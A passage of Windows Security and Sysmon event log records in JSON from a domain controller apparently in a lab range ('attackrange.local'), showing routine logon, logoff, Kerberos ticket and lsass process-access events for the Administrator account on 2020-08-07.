ID:\t\t0x475A7\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x475a7","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2594,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.242\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.242","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2595,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.242\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.242","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221753,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x475A7\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x475a7","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2596,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.257\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.257","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221754,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221755,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221756,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221757,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x475C8\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{B07B1896-D5AD-147F-51FC-9903F282D869}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x475c8","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{B07B1896-D5AD-147F-51FC-9903F282D869}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221758,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x475C8\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x475c8","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:34","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2597,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:34.273\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:34.273","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+